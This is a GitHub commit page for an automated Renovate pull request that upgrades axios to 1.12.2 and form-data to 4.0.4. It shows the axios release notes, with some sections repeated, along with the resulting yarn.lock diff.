src="https://avatars.githubusercontent.com/u/8029107?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Marc Hassan](https://redirect.github.com/mhassan1 "+5/-1 (#&#8203;6833 )") #### [1.8.3](https://redirect.github.com/axios/axios/compare/v1.8.2...v1.8.3) (2025-03-10) ##### Bug Fixes - add missing type for allowAbsoluteUrls ([#&#8203;6818](https://redirect.github.com/axios/axios/issues/6818)) ([10fa70e](https://redirect.github.com/axios/axios/commit/10fa70ef14fe39558b15a179f0e82f5f5e5d11b2)) - **xhr/fetch:** pass `allowAbsoluteUrls` to `buildFullPath` in `xhr` and `fetch` adapters ([#&#8203;6814](https://redirect.github.com/axios/axios/issues/6814)) ([ec159e5](https://redirect.github.com/axios/axios/commit/ec159e507bdf08c04ba1a10fe7710094e9e50ec9)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/3238291?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Ashcon Partovi](https://redirect.github.com/Electroid "+6/-0 (#&#8203;6811 )") - <img src="https://avatars.githubusercontent.com/u/28559054?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [StefanBRas](https://redirect.github.com/StefanBRas "+4/-0 (#&#8203;6818 )") - <img src="https://avatars.githubusercontent.com/u/8029107?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Marc Hassan](https://redirect.github.com/mhassan1 "+2/-2 (#&#8203;6814 )") #### [1.8.2](https://redirect.github.com/axios/axios/compare/v1.8.1...v1.8.2) (2025-03-07) ##### Bug Fixes - **http-adapter:** add allowAbsoluteUrls to path building ([#&#8203;6810](https://redirect.github.com/axios/axios/issues/6810)) ([fb8eec2](https://redirect.github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/14166260?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Fasoro-Joseph Alexander](https://redirect.github.com/lexcorp16 "+1/-1 (#&#8203;6810 )") #### [1.8.1](https://redirect.github.com/axios/axios/compare/v1.8.0...v1.8.1) (2025-02-26) ##### Bug Fixes - **utils:** move `generateString` to platform utils to avoid importing crypto module into client builds; ([#&#8203;6789](https://redirect.github.com/axios/axios/issues/6789)) ([36a5a62](https://redirect.github.com/axios/axios/commit/36a5a620bec0b181451927f13ac85b9888b86cec)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/12586868?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dmitriy Mozgovoy](https://redirect.github.com/DigitalBrainJS "+51/-47 (#&#8203;6789 )") ### [`v1.8.2`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#190-2025-04-24) [Compare Source](https://redirect.github.com/axios/axios/compare/v1.8.1...v1.8.2) ##### Bug Fixes - **core:** fix the Axios constructor implementation to treat the config argument as optional; ([#&#8203;6881](https://redirect.github.com/axios/axios/issues/6881)) ([6c5d4cd](https://redirect.github.com/axios/axios/commit/6c5d4cd69286868059c5e52d45085cb9a894a983)) - **fetch:** fixed ERR\_NETWORK mapping for Safari browsers; ([#&#8203;6767](https://redirect.github.com/axios/axios/issues/6767)) ([dfe8411](https://redirect.github.com/axios/axios/commit/dfe8411c9a082c3d068bdd1f8d6e73054f387f45)) - **headers:** allow iterable objects to be a data source for the set method; ([#&#8203;6873](https://redirect.github.com/axios/axios/issues/6873)) ([1b1f9cc](https://redirect.github.com/axios/axios/commit/1b1f9ccdc15f1ea745160ec9a5223de9db4673bc)) - **headers:** fix `getSetCookie` by using 'get' method for caseless access; ([#&#8203;6874](https://redirect.github.com/axios/axios/issues/6874)) ([d4f7df4](https://redirect.github.com/axios/axios/commit/d4f7df4b304af8b373488fdf8e830793ff843eb9)) - **headers:** fixed support for setting multiple header values from an iterated source; ([#&#8203;6885](https://redirect.github.com/axios/axios/issues/6885)) ([f7a3b5e](https://redirect.github.com/axios/axios/commit/f7a3b5e0f7e5e127b97defa92a132fbf1b55cf15)) - **http:** send minimal end multipart boundary ([#&#8203;6661](https://redirect.github.com/axios/axios/issues/6661)) ([987d2e2](https://redirect.github.com/axios/axios/commit/987d2e2dd3b362757550f36eab875e60640b6ddc)) - **types:** fix autocomplete for adapter config ([#&#8203;6855](https://redirect.github.com/axios/axios/issues/6855)) ([e61a893](https://redirect.github.com/axios/axios/commit/e61a8934d8f94dd429a2f309b48c67307c700df0)) ##### Features - **AxiosHeaders:** add getSetCookie method to retrieve set-cookie headers values ([#&#8203;5707](https://redirect.github.com/axios/axios/issues/5707)) ([80ea756](https://redirect.github.com/axios/axios/commit/80ea756e72bcf53110fa792f5d7ab76e8b11c996)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/12586868?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dmitriy Mozgovoy](https://redirect.github.com/DigitalBrainJS "+200/-34 (#&#8203;6890 #&#8203;6889 #&#8203;6888 #&#8203;6885 #&#8203;6881 #&#8203;6767 #&#8203;6874 #&#8203;6873 )") - <img src="https://avatars.githubusercontent.com/u/4814473?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman "+26/-1 ()") - <img src="https://avatars.githubusercontent.com/u/22686401?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Willian Agostini](https://redirect.github.com/WillianAgostini "+21/-0 (#&#8203;5707 )") - <img src="https://avatars.githubusercontent.com/u/2500247?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [George Cheng](https://redirect.github.com/Gerhut "+3/-3 (#&#8203;5096 )") - <img src="https://avatars.githubusercontent.com/u/30260221?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [FatahChan](https://redirect.github.com/FatahChan "+2/-2 (#&#8203;6855 )") - <img src="https://avatars.githubusercontent.com/u/49002?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Ionuț G. Stan](https://redirect.github.com/igstan "+1/-1 (#&#8203;6661 )") #### [1.8.4](https://redirect.github.com/axios/axios/compare/v1.8.3...v1.8.4) (2025-03-19) ##### Bug Fixes - **buildFullPath:** handle `allowAbsoluteUrls: false` without `baseURL` ([#&#8203;6833](https://redirect.github.com/axios/axios/issues/6833)) ([f10c2e0](https://redirect.github.com/axios/axios/commit/f10c2e0de7fde0051f848609a29c2906d0caa1d9)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/8029107?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Marc Hassan](https://redirect.github.com/mhassan1 "+5/-1 (#&#8203;6833 )") #### [1.8.3](https://redirect.github.com/axios/axios/compare/v1.8.2...v1.8.3) (2025-03-10) ##### Bug Fixes - add missing type for allowAbsoluteUrls ([#&#8203;6818](https://redirect.github.com/axios/axios/issues/6818)) ([10fa70e](https://redirect.github.com/axios/axios/commit/10fa70ef14fe39558b15a179f0e82f5f5e5d11b2)) - **xhr/fetch:** pass `allowAbsoluteUrls` to `buildFullPath` in `xhr` and `fetch` adapters ([#&#8203;6814](https://redirect.github.com/axios/axios/issues/6814)) ([ec159e5](https://redirect.github.com/axios/axios/commit/ec159e507bdf08c04ba1a10fe7710094e9e50ec9)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/3238291?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Ashcon Partovi](https://redirect.github.com/Electroid "+6/-0 (#&#8203;6811 )") - <img src="https://avatars.githubusercontent.com/u/28559054?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [StefanBRas](https://redirect.github.com/StefanBRas "+4/-0 (#&#8203;6818 )") - <img src="https://avatars.githubusercontent.com/u/8029107?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Marc Hassan](https://redirect.github.com/mhassan1 "+2/-2 (#&#8203;6814 )") #### [1.8.2](https://redirect.github.com/axios/axios/compare/v1.8.1...v1.8.2) (2025-03-07) ##### Bug Fixes - **http-adapter:** add allowAbsoluteUrls to path building ([#&#8203;6810](https://redirect.github.com/axios/axios/issues/6810)) ([fb8eec2](https://redirect.github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/14166260?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Fasoro-Joseph Alexander](https://redirect.github.com/lexcorp16 "+1/-1 (#&#8203;6810 )") #### [1.8.1](https://redirect.github.com/axios/axios/compare/v1.8.0...v1.8.1) (2025-02-26) ##### Bug Fixes - **utils:** move `generateString` to platform utils to avoid importing crypto module into client builds; ([#&#8203;6789](https://redirect.github.com/axios/axios/issues/6789)) ([36a5a62](https://redirect.github.com/axios/axios/commit/36a5a620bec0b181451927f13ac85b9888b86cec)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/12586868?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dmitriy Mozgovoy](https://redirect.github.com/DigitalBrainJS "+51/-47 (#&#8203;6789 )") ### [`v1.8.1`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#190-2025-04-24) [Compare Source](https://redirect.github.com/axios/axios/compare/v1.8.0...v1.8.1) ##### Bug Fixes - **core:** fix the Axios constructor implementation to treat the config argument as optional; ([#&#8203;6881](https://redirect.github.com/axios/axios/issues/6881)) ([6c5d4cd](https://redirect.github.com/axios/axios/commit/6c5d4cd69286868059c5e52d45085cb9a894a983)) - **fetch:** fixed ERR\_NETWORK mapping for Safari browsers; ([#&#8203;6767](https://redirect.github.com/axios/axios/issues/6767)) ([dfe8411](https://redirect.github.com/axios/axios/commit/dfe8411c9a082c3d068bdd1f8d6e73054f387f45)) - **headers:** allow iterable objects to be a data source for the set method; ([#&#8203;6873](https://redirect.github.com/axios/axios/issues/6873)) ([1b1f9cc](https://redirect.github.com/axios/axios/commit/1b1f9ccdc15f1ea745160ec9a5223de9db4673bc)) - **headers:** fix `getSetCookie` by using 'get' method for caseless access; ([#&#8203;6874](https://redirect.github.com/axios/axios/issues/6874)) ([d4f7df4](https://redirect.github.com/axios/axios/commit/d4f7df4b304af8b373488fdf8e830793ff843eb9)) - **headers:** fixed support for setting multiple header values from an iterated source; ([#&#8203;6885](https://redirect.github.com/axios/axios/issues/6885)) ([f7a3b5e](https://redirect.github.com/axios/axios/commit/f7a3b5e0f7e5e127b97defa92a132fbf1b55cf15)) - **http:** send minimal end multipart boundary ([#&#8203;6661](https://redirect.github.com/axios/axios/issues/6661)) ([987d2e2](https://redirect.github.com/axios/axios/commit/987d2e2dd3b362757550f36eab875e60640b6ddc)) - **types:** fix autocomplete for adapter config ([#&#8203;6855](https://redirect.github.com/axios/axios/issues/6855)) ([e61a893](https://redirect.github.com/axios/axios/commit/e61a8934d8f94dd429a2f309b48c67307c700df0)) ##### Features - **AxiosHeaders:** add getSetCookie method to retrieve set-cookie headers values ([#&#8203;5707](https://redirect.github.com/axios/axios/issues/5707)) ([80ea756](https://redirect.github.com/axios/axios/commit/80ea756e72bcf53110fa792f5d7ab76e8b11c996)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/12586868?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dmitriy Mozgovoy](https://redirect.github.com/DigitalBrainJS "+200/-34 (#&#8203;6890 #&#8203;6889 #&#8203;6888 #&#8203;6885 #&#8203;6881 #&#8203;6767 #&#8203;6874 #&#8203;6873 )") - <img src="https://avatars.githubusercontent.com/u/4814473?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman "+26/-1 ()") - <img src="https://avatars.githubusercontent.com/u/22686401?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Willian Agostini](https://redirect.github.com/WillianAgostini "+21/-0 (#&#8203;5707 )") - <img src="https://avatars.githubusercontent.com/u/2500247?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [George Cheng](https://redirect.github.com/Gerhut "+3/-3 (#&#8203;5096 )") - <img src="https://avatars.githubusercontent.com/u/30260221?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [FatahChan](https://redirect.github.com/FatahChan "+2/-2 (#&#8203;6855 )") - <img src="https://avatars.githubusercontent.com/u/49002?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Ionuț G. Stan](https://redirect.github.com/igstan "+1/-1 (#&#8203;6661 )") #### [1.8.4](https://redirect.github.com/axios/axios/compare/v1.8.3...v1.8.4) (2025-03-19) ##### Bug Fixes - **buildFullPath:** handle `allowAbsoluteUrls: false` without `baseURL` ([#&#8203;6833](https://redirect.github.com/axios/axios/issues/6833)) ([f10c2e0](https://redirect.github.com/axios/axios/commit/f10c2e0de7fde0051f848609a29c2906d0caa1d9)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/8029107?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Marc Hassan](https://redirect.github.com/mhassan1 "+5/-1 (#&#8203;6833 )") #### [1.8.3](https://redirect.github.com/axios/axios/compare/v1.8.2...v1.8.3) (2025-03-10) ##### Bug Fixes - add missing type for allowAbsoluteUrls ([#&#8203;6818](https://redirect.github.com/axios/axios/issues/6818)) ([10fa70e](https://redirect.github.com/axios/axios/commit/10fa70ef14fe39558b15a179f0e82f5f5e5d11b2)) - **xhr/fetch:** pass `allowAbsoluteUrls` to `buildFullPath` in `xhr` and `fetch` adapters ([#&#8203;6814](https://redirect.github.com/axios/axios/issues/6814)) ([ec159e5](https://redirect.github.com/axios/axios/commit/ec159e507bdf08c04ba1a10fe7710094e9e50ec9)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/3238291?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Ashcon Partovi](https://redirect.github.com/Electroid "+6/-0 (#&#8203;6811 )") - <img src="https://avatars.githubusercontent.com/u/28559054?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [StefanBRas](https://redirect.github.com/StefanBRas "+4/-0 (#&#8203;6818 )") - <img src="https://avatars.githubusercontent.com/u/8029107?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Marc Hassan](https://redirect.github.com/mhassan1 "+2/-2 (#&#8203;6814 )") #### [1.8.2](https://redirect.github.com/axios/axios/compare/v1.8.1...v1.8.2) (2025-03-07) ##### Bug Fixes - **http-adapter:** add allowAbsoluteUrls to path building ([#&#8203;6810](https://redirect.github.com/axios/axios/issues/6810)) ([fb8eec2](https://redirect.github.com/axios/axios/commit/fb8eec214ce7744b5ca787f2c3b8339b2f54b00f)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/14166260?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Fasoro-Joseph Alexander](https://redirect.github.com/lexcorp16 "+1/-1 (#&#8203;6810 )") #### [1.8.1](https://redirect.github.com/axios/axios/compare/v1.8.0...v1.8.1) (2025-02-26) ##### Bug Fixes - **utils:** move `generateString` to platform utils to avoid importing crypto module into client builds; ([#&#8203;6789](https://redirect.github.com/axios/axios/issues/6789)) ([36a5a62](https://redirect.github.com/axios/axios/commit/36a5a620bec0b181451927f13ac85b9888b86cec)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/12586868?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dmitriy Mozgovoy](https://redirect.github.com/DigitalBrainJS "+51/-47 (#&#8203;6789 )") ### [`v1.8.0`](https://redirect.github.com/axios/axios/blob/HEAD/CHANGELOG.md#180-2025-02-25) [Compare Source](https://redirect.github.com/axios/axios/compare/v1.7.9...v1.8.0) ##### Bug Fixes - **examples:** application crashed when navigating examples in browser ([#&#8203;5938](https://redirect.github.com/axios/axios/issues/5938)) ([1260ded](https://redirect.github.com/axios/axios/commit/1260ded634ec101dd5ed05d3b70f8e8f899dba6c)) - missing word in SUPPORT_QUESTION.yml ([#&#8203;6757](https://redirect.github.com/axios/axios/issues/6757)) ([1f890b1](https://redirect.github.com/axios/axios/commit/1f890b13f2c25a016f3c84ae78efb769f244133e)) - **utils:** replace getRandomValues with crypto module ([#&#8203;6788](https://redirect.github.com/axios/axios/issues/6788)) ([23a25af](https://redirect.github.com/axios/axios/commit/23a25af0688d1db2c396deb09229d2271cc24f6c)) ##### Features - Add config for ignoring absolute URLs ([#&#8203;5902](https://redirect.github.com/axios/axios/issues/5902)) ([#&#8203;6192](https://redirect.github.com/axios/axios/issues/6192)) ([32c7bcc](https://redirect.github.com/axios/axios/commit/32c7bcc0f233285ba27dec73a4b1e81fb7a219b3)) ##### Reverts - Revert "chore: expose fromDataToStream to be consumable ([#&#8203;6731](https://redirect.github.com/axios/axios/issues/6731))" ([#&#8203;6732](https://redirect.github.com/axios/axios/issues/6732)) ([1317261](https://redirect.github.com/axios/axios/commit/1317261125e9c419fe9f126867f64d28f9c1efda)), closes [#&#8203;6731](https://redirect.github.com/axios/axios/issues/6731) [#&#8203;6732](https://redirect.github.com/axios/axios/issues/6732) ##### BREAKING CHANGES - code relying on the above will now combine the URLs instead of prefer request URL - feat: add config option for allowing absolute URLs - fix: add default value for allowAbsoluteUrls in buildFullPath - fix: typo in flow control when setting allowAbsoluteUrls ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/7661715?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Michael Toscano](https://redirect.github.com/GethosTheWalrus "+42/-8 (#&#8203;6192 )") - <img src="https://avatars.githubusercontent.com/u/22686401?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Willian Agostini](https://redirect.github.com/WillianAgostini "+26/-3 (#&#8203;6788 #&#8203;6777 )") - <img src="https://avatars.githubusercontent.com/u/72578270?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Naron](https://redirect.github.com/naronchen "+27/-0 (#&#8203;5901 )") - <img src="https://avatars.githubusercontent.com/u/47430686?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [shravan || श्रvan](https://redirect.github.com/shravan20 "+7/-3 (#&#8203;6116 )") - <img src="https://avatars.githubusercontent.com/u/145078271?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Justin Dhillon](https://redirect.github.com/justindhillon "+0/-7 (#&#8203;6312 )") - <img src="https://avatars.githubusercontent.com/u/30925732?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [yionr](https://redirect.github.com/yionr "+5/-1 (#&#8203;6129 )") - <img src="https://avatars.githubusercontent.com/u/534166?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Shin'ya Ueoka](https://redirect.github.com/ueokande "+3/-3 (#&#8203;5935 )") - <img src="https://avatars.githubusercontent.com/u/33569?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dan Dascalescu](https://redirect.github.com/dandv "+3/-3 (#&#8203;5908 #&#8203;6757 )") - <img src="https://avatars.githubusercontent.com/u/16476523?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Nitin Ramnani](https://redirect.github.com/NitinRamnani "+2/-2 (#&#8203;5938 )") - <img src="https://avatars.githubusercontent.com/u/152275799?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Shay Molcho](https://redirect.github.com/shaymolcho "+2/-2 (#&#8203;6770 )") - <img src="https://avatars.githubusercontent.com/u/4814473?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman "+0/-3 (#&#8203;6732 )") - fancy45daddy - <img src="https://avatars.githubusercontent.com/u/127725897?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Habip Akyol](https://redirect.github.com/habipakyol "+1/-1 (#&#8203;6030 )") - <img src="https://avatars.githubusercontent.com/u/54869395?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Bailey Lissington](https://redirect.github.com/llamington "+1/-1 (#&#8203;6771 )") - <img src="https://avatars.githubusercontent.com/u/14969290?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Bernardo da Eira Duarte](https://redirect.github.com/bernardoduarte "+1/-1 (#&#8203;6480 )") - <img src="https://avatars.githubusercontent.com/u/117800149?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Shivam Batham](https://redirect.github.com/Shivam-Batham "+1/-1 (#&#8203;5949 )") - <img src="https://avatars.githubusercontent.com/u/67861627?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Lipin Kariappa](https://redirect.github.com/lipinnnnn "+1/-1 (#&#8203;5936 )") #### [1.7.9](https://redirect.github.com/axios/axios/compare/v1.7.8...v1.7.9) (2024-12-04) ##### Reverts - Revert "fix(types): export CJS types from ESM ([#&#8203;6218](https://redirect.github.com/axios/axios/issues/6218))" ([#&#8203;6729](https://redirect.github.com/axios/axios/issues/6729)) ([c44d2f2](https://redirect.github.com/axios/axios/commit/c44d2f2316ad289b38997657248ba10de11deb6c)), closes [#&#8203;6218](https://redirect.github.com/axios/axios/issues/6218) [#&#8203;6729](https://redirect.github.com/axios/axios/issues/6729) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/4814473?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman "+596/-108 (#&#8203;6729 )") #### [1.7.8](https://redirect.github.com/axios/axios/compare/v1.7.7...v1.7.8) (2024-11-25) ##### Bug Fixes - allow passing a callback as paramsSerializer to buildURL ([#&#8203;6680](https://redirect.github.com/axios/axios/issues/6680)) ([eac4619](https://redirect.github.com/axios/axios/commit/eac4619fe2e0926e876cd260ee21e3690381dbb5)) - **core:** fixed config merging bug ([#&#8203;6668](https://redirect.github.com/axios/axios/issues/6668)) ([5d99fe4](https://redirect.github.com/axios/axios/commit/5d99fe4491202a6268c71e5dcc09192359d73cea)) - fixed width form to not shrink after 'Send Request' button is clicked ([#&#8203;6644](https://redirect.github.com/axios/axios/issues/6644)) ([7ccd5fd](https://redirect.github.com/axios/axios/commit/7ccd5fd42402102d38712c32707bf055be72ab54)) - **http:** add support for File objects as payload in http adapter ([#&#8203;6588](https://redirect.github.com/axios/axios/issues/6588)) ([#&#8203;6605](https://redirect.github.com/axios/axios/issues/6605)) ([6841d8d](https://redirect.github.com/axios/axios/commit/6841d8d18ddc71cc1bd202ffcfddb3f95622eef3)) - **http:** fixed proxy-from-env module import ([#&#8203;5222](https://redirect.github.com/axios/axios/issues/5222)) ([12b3295](https://redirect.github.com/axios/axios/commit/12b32957f1258aee94ef859809ed39f8f88f9dfa)) - **http:** use `globalThis.TextEncoder` when available ([#&#8203;6634](https://redirect.github.com/axios/axios/issues/6634)) ([df956d1](https://redirect.github.com/axios/axios/commit/df956d18febc9100a563298dfdf0f102c3d15410)) - ios11 breaks when build ([#&#8203;6608](https://redirect.github.com/axios/axios/issues/6608)) ([7638952](https://redirect.github.com/axios/axios/commit/763895270f7b50c7c780c3c9807ae8635de952cd)) - **types:** add missing types for mergeConfig function ([#&#8203;6590](https://redirect.github.com/axios/axios/issues/6590)) ([00de614](https://redirect.github.com/axios/axios/commit/00de614cd07b7149af335e202aef0e076c254f49)) - **types:** export CJS types from ESM ([#&#8203;6218](https://redirect.github.com/axios/axios/issues/6218)) ([c71811b](https://redirect.github.com/axios/axios/commit/c71811b00f2fcff558e4382ba913bdac4ad7200e)) - updated stream aborted error message to be more clear ([#&#8203;6615](https://redirect.github.com/axios/axios/issues/6615)) ([cc3217a](https://redirect.github.com/axios/axios/commit/cc3217a612024d83a663722a56d7a98d8759c6d5)) - use URL API instead of DOM to fix a potential vulnerability warning; ([#&#8203;6714](https://redirect.github.com/axios/axios/issues/6714)) ([0a8d6e1](https://redirect.github.com/axios/axios/commit/0a8d6e19da5b9899a2abafaaa06a75ee548597db)) ##### Contributors to this release - <img src="https://avatars.githubusercontent.com/u/779047?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Remco Haszing](https://redirect.github.com/remcohaszing "+108/-596 (#&#8203;6218 )") - <img src="https://avatars.githubusercontent.com/u/4814473?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Jay](https://redirect.github.com/jasonsaayman "+281/-19 (#&#8203;6640 #&#8203;6619 )") - <img src="https://avatars.githubusercontent.com/u/140250471?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Aayush Yadav](https://redirect.github.com/aayushyadav020 "+124/-111 (#&#8203;6617 )") - <img src="https://avatars.githubusercontent.com/u/12586868?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Dmitriy Mozgovoy](https://redirect.github.com/DigitalBrainJS "+12/-65 (#&#8203;6714 )") - <img src="https://avatars.githubusercontent.com/u/479715?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Ell Bradshaw](https://redirect.github.com/cincodenada "+29/-0 (#&#8203;6489 )") - <img src="https://avatars.githubusercontent.com/u/60218780?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Amit Saini](https://redirect.github.com/amitsainii "+13/-3 (#&#8203;5237 )") - <img src="https://avatars.githubusercontent.com/u/19817867?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Tommaso Paulon](https://redirect.github.com/guuido "+14/-1 (#&#8203;6680 )") - <img src="https://avatars.githubusercontent.com/u/63336443?v&#x3D;4&amp;s&#x3D;18" alt="avatar" width="18"/> [Akki](https://redirect.github.com/Aakash-Rana "+5/ </details> --- ### Configuration 📅 **Schedule**: Branch creation - "" in timezone Europe/Paris, Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/SocialGouv/vao). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4yMjcuMyIsInVwZGF0ZWRJblZlciI6IjQxLjE0My4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2 parents 8f51f96 + baab9bc commit b591f87

1 file changed

Lines changed: 9 additions & 8 deletions

File tree

yarn.lock

Lines changed: 9 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -6144,12 +6144,12 @@ aws4@^1.8.0:
61446144
integrity sha512-lHe62zvbTB5eEABUVi/AwVh0ZKY9rMMDhmm+eeyuuUQbQ3+J+fONVQOZyj+DdrvD4BY33uYniyRJ4UJIaSKAfw==
61456145

61466146
axios@^1.7.4, axios@^1.7.8:
6147-
version "1.7.9"
6148-
resolved "https://registry.npmjs.org/axios/-/axios-1.7.9.tgz"
6149-
integrity sha512-LhLcE7Hbiryz8oMDdDptSrWowmB4Bl6RCt6sIJKpRB4XtVf0iEgewX3au/pJqm+Py1kCASkb/FFKjxQaLtxJvw==
6147+
version "1.12.2"
6148+
resolved "https://registry.yarnpkg.com/axios/-/axios-1.12.2.tgz#6c307390136cf7a2278d09cec63b136dfc6e6da7"
6149+
integrity sha512-vMJzPewAlRyOgxV2dU0Cuz2O8zzzx9VYtbJOaBgXFeLc4IV/Eg50n4LowmehOOR61S8ZMpc2K5Sa7g6A4jfkUw==
61506150
dependencies:
61516151
follow-redirects "^1.15.6"
6152-
form-data "^4.0.0"
6152+
form-data "^4.0.4"
61536153
proxy-from-env "^1.1.0"
61546154

61556155
b4a@^1.6.4:
@@ -8924,14 +8924,15 @@ fork-ts-checker-webpack-plugin@9.0.2:
89248924
semver "^7.3.5"
89258925
tapable "^2.2.1"
89268926

8927-
form-data@^4.0.0:
8928-
version "4.0.2"
8929-
resolved "https://registry.npmjs.org/form-data/-/form-data-4.0.2.tgz"
8930-
integrity sha512-hGfm/slu0ZabnNt4oaRZ6uREyfCj6P4fT/n6A1rGV+Z0VdGXjfOhVUpkn6qVQONHGIFwmveGXyDs75+nr6FM8w==
8927+
form-data@^4.0.0, form-data@^4.0.4:
8928+
version "4.0.4"
8929+
resolved "https://registry.yarnpkg.com/form-data/-/form-data-4.0.4.tgz#784cdcce0669a9d68e94d11ac4eea98088edd2c4"
8930+
integrity sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==
89318931
dependencies:
89328932
asynckit "^0.4.0"
89338933
combined-stream "^1.0.8"
89348934
es-set-tostringtag "^2.1.0"
8935+
hasown "^2.0.2"
89358936
mime-types "^2.1.12"
89368937

89378938
form-data@~2.3.2:

0 commit comments

Comments
 (0)